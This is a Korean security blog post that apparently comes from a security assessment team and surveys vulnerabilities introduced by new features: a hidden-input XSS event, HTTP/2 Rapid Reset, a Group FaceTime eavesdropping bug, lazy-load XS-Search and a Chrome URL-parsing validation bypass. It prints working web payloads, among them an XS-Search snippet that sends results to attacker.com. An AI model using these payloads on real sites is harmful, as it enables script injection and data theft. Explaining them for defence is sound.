개발 사이드 이펙트로 발생한 보안 위협 사례
들어가며
보안 위협이 발생하는 원인은 다양합니다. 일반적으로 현재의 위협으로부터 기존 시스템을 보호하기 위해 보안을 설계하므로, 공격자들의 실력 향상이나 기술의 발전에 따라 기존 시스템에서 보안 결함이 발견되고 발생하는 건 자연스러운 현상입니다. 그렇기 때문에 보안 담당자들은 주기적인 패치를 통해 시스템의 보안성을 관리하고, 잠재적으로 발생할 수 있는 취약점들에 대비하기 위해 보다 안전한 시스템을 설계합니다.
그럼에도 불구하고, 기존 시스템의 보안이 현재의 위협에 모두 대응하고 있는 것은 아닙니다. 시스템과 서비스는 이용자를 위해 계속해서 새로운 기능을 개발하거나 도입합니다. 현실의 많은 보안 위협들은 이 작업의 사이드 이펙트로 발생합니다. 성능과 편의성을 개선하기 위한 작업이지만, 작업 과정 및 결과로 인해 기존과 달라지는 보안 위협들을 모두 고려하는 것은 어려운 문제입니다. 이번 포스트에서는 개발의 사이드 이펙트로 발생한 다양한 보안 위협의 사례를 살펴보겠습니다.
1. 새롭게 추가된 이벤트를 이용한 Hidden XSS
Cross-Site Scripting(XSS)은 HTML 문서 내에 악성 스크립트를 삽입하는 공격입니다. 이를 통해, 공격자는 개발자가 의도하지 않은 행동을 유도하거나 악의적인 행위(예: 서비스에 로그인한 이용자의 크리덴셜 탈취)를 수행할 수 있습니다.
기존의 XSS 공격 방식은 매우 다양하지만, 그중에서도 요소에 on
기반의 이벤트 핸들러를 이용하는 방식이 대표적입니다. 하지만 해당 방식은 태그에서 type
이 hidden
인 경우, 이용자가 직접 클릭하지 않으면 이벤트가 발생하지 않는다는 한계를 가지고 있었습니다.
2022년 10월 28일, 웹 페이지 성능의 최적화를 위해 type
이 hidden
인 경우 해당 요소의 렌더링을 생략할 수 있는 contentvisibilityautostatechange
이벤트가 새롭게 추가되었습니다. 해당 이벤트는 렌더링 과정에서 content-visibility: auto
속성이 적용된 요소의 상태가 변경될 때 발생합니다.
편의성을 위해 추가된 이벤트였지만, 공격자는 해당 이벤트를 이용하여 태그에서 type
이 hidden
인 경우에도 페이지에 접근하는 것만으로 XSS를 발생시킬 수 있게 되었습니다.
2024년 7월 25일, Masato Kinukawa는 contentvisibilityautostatechange
를 이용한 공격을 페이로드(payload)와 함께 X에 공개하였습니다.
페이로드는 아래와 같습니다.
<input type="hidden" oncontentvisibilityautostatechange="alert(/ChromeCanary/)" style="content-visibility:auto">
해당 페이로드는 태그의 type
을 hidden
으로 설정하고 oncontentvisibilityautostatechange
이벤트를 정의함으로써, 크롬 브라우저에서 페이지에 접근하는 것만으로도 XSS를 발생시킵니다.
결론적으로, 웹 페이지의 성능 최적화를 위해 추가된 contentvisibilityautostatechange
이벤트 핸들러 덕분에 공격자는 기존에 불가능했던 링크 접근만을 이용한 One-Click XSS 공격을 성공할 수 있었습니다.
Reference
2. HTTP/2의 멀티플렉싱을 이용한 신속한 재설정 공격
인터넷 환경의 급속한 변화에 따라 웹 프로토콜도 진화를 거듭하고 있습니다. 지난 2015년, 국제 인터넷 표준화 기구(Internet Engineering Task Force, IETF)는 브라우저의 웹 페이지 로딩 속도를 개선하기 위한 새로운 프로토콜인 HTTP/2를 공개하였습니다. HTTP/2는 HTTP/1.1과 응용 계층에서의 호환성을 유지하면서도, 새로운 기술(예: 헤더 압축, 멀티플렉싱, 서버 푸시)을 도입하여 브라우저의 웹 페이지 로딩 속도를 크게 개선하였습니다.
멀티플렉싱은 하나의 통신 채널 및 연결에서 여러 개의 독립적인 데이터 스트림을 동시에 전송할 수 있는 기술을 의미합니다. 이 기술은 통신 효율을 높이고 자원 활용도를 극대화하기 위해 사용되며, 네트워크 통신 분야에서 중요한 역할을 합니다.
HTTP/2에서 멀티플렉싱은 단일한 TCP 연결 위에서 여러 개의 HTTP 요청과 응답을 병렬로 처리하기 위해 도입되었고, 아래의 개념을 기반으로 구현되었습니다.
스트림(Stream)
각 HTTP 요청과 응답은 스트림이라는 독립적인 채널을 통해 전송됩니다. 스트림은 고유한 식별자를 가지며, 양방향 통신이 가능합니다.
프레임(Frame)
데이터는 작은 단위인 프레임으로 나뉘어 전송됩니다. 각 프레임에는 해당 스트림의 식별자가 포함되어 있어 수신 측에서 올바르게 조립할 수 있습니다.
동시 전송
여러 스트림의 프레임들이 교차하여 전송되므로, 한 스트림의 지연이 다른 스트림에 영향을 주지 않습니다.
하지만, 브라우저 성능 향상을 위해 도입된 멀티플렉싱 기술은 HTTP/2에 신속한 재설정(Rapid Reset) 취약점을 발생시켰습니다.
HTTP/1.1에서는 일반적으로 각각의 요청을 순차적으로 처리합니다. 서버가 요청을 읽고 처리한 후, 응답을 작성하고, 다음 요청을 읽고 처리하는 방식입니다. 따라서 단일 연결을 통해 전송될 수 있는 요청은 1회 왕복당 1개입니다. 하지만 HTTP/2를 사용하게 되면, 클라이언트는 단일 TCP 연결에서 동시에 여러 스트림을 열 수 있습니다. 이때 각각의 스트림이 하나의 HTTP 요청에 해당합니다. 클라이언트는 하나의 연결당 100개 이상의 스트림을 열 수 있는데, 만약 클라이언트가 100개의 스트림을 보내고 각 스트림에 대해 단일 왕복으로 요청을 전송하면, 해당 요청은 백엔드 서버에서 병렬화됩니다. 이후, 클라이언트는 이전 스트림에 대해 응답을 받은 후 새 스트림을 열 수 있습니다. 이 방식은 각 연결에 효과적인 처리량을 제공함으로써, 각 연결의 활용도를 100배 이상 향상시킬 수 있습니다.
하지만 이러한 장점이 HTTP/2에서 취약점으로 남용되었습니다. HTTP/2에서는 RST_STREAM 프레임을 전송함으로써 이전 스트림 요청을 취소합니다. 프로토콜이 클라이언트와 서버 간 연결이 특정 방식으로 취소를 조정하도록 요구하고 있지 않으므로, 클라이언트는 일방적으로 요청을 취소할 수 있습니다. 이 점을 이용하면 공격이 가능합니다. 단계는 아래와 같습니다.
HTTP/2에서 공격자는 많은 수의 스트림을 열어놓고, 서버의 응답을 기다리지 않고 클라이언트에서 요청을 즉시 취소합니다.
이후, 스트림을 즉시 재설정하는 기능을 사용합니다.
이를 통해 공격자는 각 연결이 진행 중인 요청 수를 무한으로 유지할 수 있습니다. 요청을 명시적으로 취소하였기 때문에 공개 스트림 제한 수를 초과하지 않고, 진행 중인 요청의 수는 왕복 시간이 아닌 사용 가능한 네트워크 대역폭에 좌우됩니다.
일반적으로 HTTP/2 서버에서는 취소된 요청에 대해 상당한 작업(예: 새로운 스트림 데이터 구조 할당, 쿼리 구문 분석, 헤더 압축 해제, URL 리소스 연결)을 수행하지만, 클라이언트는 요청을 명시적으로 취소하였기에 자원을 거의 소모하지 않습니다. 이로 인해 서버와 클라이언트 간 이용 가능한 자원 비대칭이 발생합니다. 공격자는 단일 연결에 여러 HEADERS
와 RST_STREAM
프레임을 포함시켜 초당 요청을 크게 증가시킬 수 있고, 그 결과 서버의 CPU 사용량이 과도하게 증가합니다. 자원 비대칭을 이용한 이 공격이 HTTP/2의 신속한 재설정 공격입니다.
결론적으로, 효율성 향상을 위해 네트워크단에서 사용되던 멀티플렉싱 기술을 HTTP 프로토콜에 구현하는 과정에서 신속한 재설정을 이용한 DoS 취약점이 발생하였습니다.
Reference
3. Apple의 Group FaceTime 업데이트에서 발생한 프라이버시 취약점
Apple의 FaceTime은 많은 iOS 및 macOS 이용자들이 이용하는 화상 통화 애플리케이션입니다. FaceTime은 2010년 출시 이후 Apple 생태계 내에서 간편하고 안전한 통신 수단으로 자리 잡았습니다.
Apple은 iOS 12.1 업데이트에서 최대 32명의 참가자가 동시에 하나의 통화에 참여할 수 있게 해주는 ‘Group FaceTime’ 기능을 추가하였습니다. 이는 FaceTime의 활용도를 크게 높이는 혁신적인 업데이트였습니다.
하지만 이 업데이트는 예상하지 못한 보안 문제를 동반하였습니다. 2019년 1월 28일, Group FaceTime에서 심각도 높은 프라이버시 취약점이 발견되었습니다. 공격자는 해당 취약점을 이용하여 통화 수신자의 동의 없이 오디오를 도청하고, 특정 조건 하에서는 영상까지 확인할 수 있었습니다.
Group FaceTime 기능의 구현 과정의 오류로 인한 해당 취약점은 CVE-2019–6223 번호를 받았습니다.
해당 취약점은 아래의 과정에서 발생합니다.
공격자가 피해자에게 FaceTime 통화를 시도합니다.
피해자가 응답하기 전에, 공격자는 자신의 전화번호를 그룹 통화에 추가합니다.
이 과정에서 시스템은 피해자의 통화를 자동으로 “응답됨” 상태로 변경합니다.
그 결과, 피해자의 기기에서 마이크가 활성화되어 오디오가 전송되기 시작합니다.
이때 만약 피해자가 전원 버튼이나 볼륨 버튼을 눌러 통화를 거절하려고 하면, 오히려 카메라가 활성화되어 영상까지 전송됩니다.
취약점 시연 동영상 - 출처: DEAD FRIENDS™ on Twitter / X
동영상에서 볼 수 있듯이, 해당 취약점은 재현이 어렵지 않아 심각성이 높았습니다. Apple은 해당 사안을 인지하고 추가 피해 방지를 위해 Group FaceTime 서버를 비활성화하였습니다. 이후 iOS 12.1.4 및 macOS Mojave 10.14.3 업데이트를 통해 취약점을 패치하였습니다.
Reference
4. 콘텐츠 로딩 지연 속성을 이용한 XS-Search 공격
2017년 Josh Tumath 는 whatwg의 html specification Github 페이지에 아래와 같은 이슈를 생성했습니다.
이슈는 대부분의 방문자들이 웹 페이지의 상단부만을 보고 아래까지 스크롤을 내리지 않으니, 웹 페이지를 렌더링할 때 이용자의 화면(viewport)에서 보이지 않는 콘텐츠의 렌더링을 지연시켜 UX을 개선하자는 내용입니다.
해당 내용이 공감을 얻어, 결과적으로 2018년 6월 html specification에는 loading attribute가 추가되었고, 같은 해 9월에는 chromium에도 해당 업데이트가 구현되었습니다.
하지만 이 업데이트로 인해 새로운 형태의 XS-Search 공격이 가능해졌습니다. 공격자는 아래의 페이로드를 이용하여 보안 설정(예: CSP)으로 인해 기존에 XS-Search가 불가능했던 환경에서 임의 정보를 탈취할 수 있습니다.
<object data="/@example.com">admin/dashboard?email=@example.com">
<img src="https://attacker.com/?status=false" loading="lazy">
</object>
기본적으로 형태는 object
태그를 이용해 임베드(embed)한 콘텐츠의 로딩이 실패할 경우, img
를 그에 대한 대체 콘텐츠(fallback content)로 전달하기 위해 사용합니다. 이때, 대체 콘텐츠인 Img에 loading="lazy"
속성(attribute)를 설정할 경우, object
태그의 콘텐츠 로딩이 실패하였을 경우에만 이미지가 로드됩니다.
현재 예시에서는 /admin/dashboard
에서 email
파라미터를 통해 이메일에 해당하는 계정을 조회할 수 있습니다. 만약 @example.com
문자열을 포함하는 이메일이 존재하지 않을 경우, 500 에러가 발생하고, 그에 따라 대체 콘텐츠 이미지가 로드되므로 공격자는 @example.com
을 포함하는 이메일이 존재하지 않는다는 것을 알아낼 수 있습니다. 이를 자동화하면, 공격자는 해당 사이트에 존재하는 모든 이용자의 이메일 정보를 알아낼 수 있습니다.
물론, 공격을 성공시키기 위해서는 GET
메소드에서 query
또는 path
파라미터를 통해 민감 정보를 조회할 수 있어야 하고, status code
를 이용해 cross-origin
에서 이미지를 로드하는 것이 가능해야 한다는 조건이 있습니다. 하지만 이번 사례를 통해 알 수 있는 가장 중요한 사실은, 새롭게 추가된 속성(loading="lazy"
)을 이용해 새로운 공격(XS-Search
)을 시도할 수 있게 되었다는 것입니다.
Reference
5. Non-special URL 파싱 로직 변경으로 인한 URL 검증 우회
Opaque path는 URL의 경로 부분에서 더 이상 세분화할 수 없는, 단일 문자열처럼 취급되는 경로를 의미합니다. 브라우저는 일반적으로 /
로 구분되는 URL과 다르게 Opaque path를 분석 또는 해석하지 않습니다. mailto:a@b.c
, javascript:alert(1)
를 예로 든다면, a@b.c
, alert(1)
부분이 Opaque path입니다.
버전 130 미만의 크롬에서는 URL 파서가 Non-special URL을 항상 Opaque path로 파싱하였습니다.
예를 들어, let url = new URL("git://foo/bar")
은 url.host = "foo", url.pathname = "/bar"
를 의미하지만, 크롬에서는 Non-special URL을 Opaque path로 처리하여 url.host = "", url.pathname = "//foo/bar"
가 됩니다. 이는 웹 표준에도 부합하지 않았고, 다른 브라우저(예: 파이어폭스, 사파리)와 다르게 동작하기 때문에 문제가 되었습니다.
참고: 아래 표에 속하는 Special scheme 외의 스킴을 가지는 URL이 Non-special URL입니다.
이에 크롬 버전 130에서는 웹 표준 준수를 위해 기존과 다르게 Non-special URL을 항상 Opaque path로 판단하지 않도록 하는 패치가 이루어졌습니다.
추가된 Non-special scheme을 따로 처리하도록 하는 코드는 아래와 같습니다.
template
void DoParseAfterNonSpecialScheme(const CHAR* spec,
int spec_len,
int after_scheme,
Parsed* parsed) {
// The implementation is similar to `DoParseAfterSpecialScheme()`, but there
// are many subtle differences. So we have a different function for parsing
// non-special URLs.
하지만, 이 패치로 인해 버전 130 이상의 크롬에서 기존의 URL 검사 방식을 우회할 수 있게 되었습니다. 아래는 입력된 URL이 theori.io
하위의 도메인인지 검사하는 코드로, 흔하게 볼 수 있는 패턴입니다.
const isValidURL = string => {
try {
const url = new URL(string)
return url.hostname.endsWith('.theori.io') || (url.hostname == 'theori.io')
} catch (ignore) {}
return false
}
이는 버전 129와 130의 크롬에서 각각 아래와 같이 동작합니다. 입력한 URL이 Non-special URL이므로 버전 129에서는 //theori.io
를 pathname
에 할당하였고, 버전 130에서는 theori.io
를 hostname
에 할당하였습니다.
아래는 위 코드에서 전달받은 주소를 검증하고, theori.io
하위의 도메인으로만 이동을 허용하는 코드입니다.
<script>
const isValidURL = string => {
try {
const url = new URL(string)
return url.hostname.endsWith('.theori.io') || (url.hostname == 'theori.io')
} catch (ignore) {}
return false
}
let url = location.search.substr(3)
if(isValidURL(url)) {
location.href = url
} else {
document.write("Invalid URL")
}
</script>
버전 130부터는 Non-special URL을 항상 Opaque path로 판단하지는 않으므로 javascript://theori.io
가 검증을 통과할 수 있습니다. URL에서 //
문자열이 주석으로 처리되어 스크립트가 실행되지 않지만, %0a
를 추가해 개행 처리를 하면 임의 스크립트 실행이 가능합니다. 예시는 아래와 같습니다.
http://[SERVER]/a.html?a=javascript://theori.io/%0aalert(1);
해당 공격을 방어하기 위해서는 기존의 검증에 더해 url.scheme
이 http
/https
인지 추가로 검증해야 합니다. 결론적으로, 이번 사례는 웹 표준 준수를 위한 패치 과정에서 기존의 검증 로직이 커버하는 케이스를 완전히 검토하지 않아 발생하였습니다.
Reference
마치며
이번 포스트에서는 새로운 기능이 구현됨에 따라 기존의 보안 모델이 우회되는 개발 사이드 이펙트의 사례들을 살펴보았습니다. 이런 개발 사이드 이펙트는 지금도 현장에서 많이 발생하고 있습니다. 새로운 기능의 추가는 항상 잠재적인 보안 이슈를 동반합니다. 사이드 이펙트로 인한 ‘의도하지 않은 결과’는 심각한 보안 위협으로 이어질 수 있습니다.
이와 같은 사례를 줄이기 위해 모든 개발자는 새로운 기능을 릴리즈하고 배포하기 전에 개발 사이드 이펙트로 인해 버그나 취약점이 발생할 수 있다는 점을 반드시 기억해야 합니다. 기존의 개념이나 기술을 다시 구현하여 자신의 프로젝트에 적용할 때에는, 구현 과정에서 새롭게 발생할 수 있는 취약점은 없는지, 기존 기술에 있어서 취약점이 없는지, 구현 과정에서 발생한 기존 기술과의 차이점으로 인해 발생할 수 있는 취약점은 없는지를 비롯한 많은 부분을 검토해야 합니다.
사례를 통해 살펴본 것처럼, 성능 향상을 위한 새로운 기술 개발 및 업데이트가 항상 좋은 결과로 이어지지는 않습니다. 새로운 기능을 추가할 때는 항상 기존의 보안 모델을 기반으로 신중하게 구현하고, 구현 후 발생할 수 있는 리스크를 검토해야 합니다. 새로운 기능 자체에 취약점이 존재하지 않더라도 기존 기능과 연계되거나 향후 추가될 기능과 연계되어 취약점이 발생할 수 있다는 점도 항상 생각해야 합니다.
결론적으로, 보안을 달성하기 위해서는 소프트웨어의 업데이트를 꾸준히 확인하고, 근본적으로 안전한 코드를 작성할 수 있도록 노력해야 할 것입니다. Security Assessment 팀은 고객 서비스의 보안을 위해, 누적된 경험에서 나오는 노하우를 바탕으로 새로운 기능의 도입 및 잠재적인 위협의 발생 가능성을 고려한 보안 컨설팅을 수행하고 있습니다.
About Theori Security Assessment
티오리 Security Assessment 팀은 실제 해커들의 오펜시브 보안 감사 서비스를 통해 고객의 서비스와 인프라스트럭처를 안전하게 함으로써 비즈니스를 보호합니다. 특히, 더욱 안전한 세상을 위해 난제급 사이버보안 문제들을 해결하는 것을 즐기며, 오펜시브 사이버보안의 리더로서, 공격자보다 한발 앞서 대응하고 불가능하다고 여겨지는 문제를 기술중심적으로 해결합니다.